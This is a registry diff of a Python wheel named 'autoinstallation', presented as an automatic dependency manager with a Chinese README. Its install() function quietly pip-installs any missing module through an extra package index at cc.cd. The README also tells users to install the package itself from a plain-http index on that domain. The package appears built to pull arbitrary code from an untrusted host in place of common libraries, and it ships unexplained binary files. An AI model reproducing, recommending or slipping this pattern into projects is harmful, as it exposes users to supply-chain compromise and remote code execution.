autoinstallation 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,3 @@
1
+ from .core import install
2
+
3
+ __all__ = ["install"]
@@ -0,0 +1,41 @@
1
+ import subprocess
2
+ import sys
3
+ import importlib
4
+ from .lang.lang import display_status
5
+ def install(packages):
6
+ """
7
+ Automatic Dependency Management (AD) Core Function
8
+ """
9
+ # 1. Parameter validation
10
+ if isinstance(packages, str):
11
+ package_list = [packages]
12
+ elif isinstance(packages, list):
13
+ package_list = packages
14
+ else:
15
+ display_status('error')
16
+ return
17
+
18
+ # 2. Iterate and process
19
+ for pkg in package_list:
20
+ try:
21
+ # Check if installed
22
+ importlib.import_module(pkg)
23
+ display_status('exist', pkg=pkg)
24
+ except ImportError:
25
+ # Not installed, start auto-install
26
+ display_status('missing', pkg=pkg)
27
+
28
+ try:
29
+ # Execute pip install with custom index
30
+ subprocess.check_call([
31
+ sys.executable, "-m", "pip", "install",
32
+ "--extra-index-url", "https://cc.cd",
33
+ pkg
34
+ ], stdout=subprocess.DEVNULL)
35
+
36
+ # Verify installation after attempt
37
+ importlib.import_module(pkg)
38
+ display_status('success', pkg=pkg)
39
+
40
+ except (subprocess.CalledProcessError, ImportError) as e:
41
+ display_status('fail', pkg=pkg, reason="pip installation failed")
Binary file
Binary file
Binary file
Binary file
@@ -0,0 +1,51 @@
1
+ Metadata-Version: 2.4
2
+ Name: autoinstallation
3
+ Version: 1.0.0
4
+ Summary: 自動依賴管理系統
5
+ Author-email: KunXuLiu <admi@twkx.us.ci>
6
+ Classifier: Programming Language :: Python :: 3
7
+ Classifier: License :: OSI Approved :: MIT License
8
+ Classifier: Operating System :: OS Independent
9
+ Requires-Python: >=3.7
10
+ Description-Content-Type: text/markdown
11
+
12
+ # autoinstallation
13
+
14
+ 自動依賴管理系統 (Auto installation) > Developed by KunXuLiu
15
+
16
+ autoinstallation 是一個為 Python 開發者設計的自動化環境建置工具。它能夠在程式執行時,自動偵測環境中是否缺少指定的第三方模組。若發現缺失,系統會自動從專屬的雲端工作站或官方來源下載並安裝,讓你的主程式不會因為 ImportError 而中斷。
17
+
18
+ # 安裝方式
19
+
20
+ 你可以透過指定專屬私有倉庫(雲端工作站)來安裝此套件:
21
+
22
+ ```Bash
23
+ pip install --extra-index-url http://xn--bfru56bwlk.cc.cd/pip/autoinstallation
24
+ ```
25
+
26
+ # 使用範例
27
+
28
+ 在你的 Python 腳本開頭,引入 twkx-ad 並呼叫 install() 方法。它完美支援單一字串或陣列列表 (List)。
29
+
30
+ 1. 安裝單一模組 (字串格式)
31
+ ```python
32
+ import autoinstallation
33
+ # 自動檢查並安裝單一模組
34
+ autoinstallation.install("requests")
35
+ # 之後即可直接使用
36
+ import requests
37
+ print(requests.__version__)
38
+ ```
39
+ 2. 批量安裝多個模組 (列表格式)
40
+ ```python
41
+ import autoinstallation
42
+
43
+ # 定義你需要的所有依賴清單
44
+ dependencies = ["numpy", "pandas", "pillow"]
45
+
46
+ # 一次性自動檢測與安裝
47
+ autoinstallation.install(dependencies)
48
+ ```
49
+ # 安全注意事項
50
+
51
+ 由於本工具具備自動執行 pip install 的權限,建議僅針對受信任的倉庫來源使用。
@@ -0,0 +1,10 @@
1
+ autoinstallation/__init__.py,sha256=v6MHrrYdHWNYAzL0F46gqKDeCSTlfDGKxXqYjtFoHHE,50
2
+ autoinstallation/core.py,sha256=yWh_HVq-YdP8CXaU8uhBVGbBHd1JtyUIItp4CwyV16U,1403
3
+ autoinstallation/lang/font/no.png,sha256=BcpiCqkUq-YWiEtAJHD1IBIJhZ0w2UzjqE9dEVvT_1U,321
4
+ autoinstallation/lang/font/pak.png,sha256=jJGMPH-I-ebgAM9FxkkZPoAMusmqQZXGzebgwoGQQvs,305
5
+ autoinstallation/lang/font/warn.png,sha256=bAoBYgjBkFG1Jr5GjaYKd1KF-2T34peNo6hq38dWA9U,280
6
+ autoinstallation/lang/font/yes.png,sha256=pTxP_kNNFfNcriieSz9VUYUUz-A2_TioLIthjDJLoM0,251
7
+ autoinstallation-1.0.0.dist-info/METADATA,sha256=koX0SDp1FvxNKNoHJukx9IQwacJRL4MkTVem3XLXfwM,1735
8
+ autoinstallation-1.0.0.dist-info/WHEEL,sha256=K260EYznzXsJYBQGqmI8VTxEdiZYNvDZwW9cBh9-_MA,91
9
+ autoinstallation-1.0.0.dist-info/top_level.txt,sha256=B1Sgx9-I72g_zH19S1GncxpNeuujEDH7ttD2oiIvxnk,17
10
+ autoinstallation-1.0.0.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (83.0.0)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1 @@
1
+ autoinstallation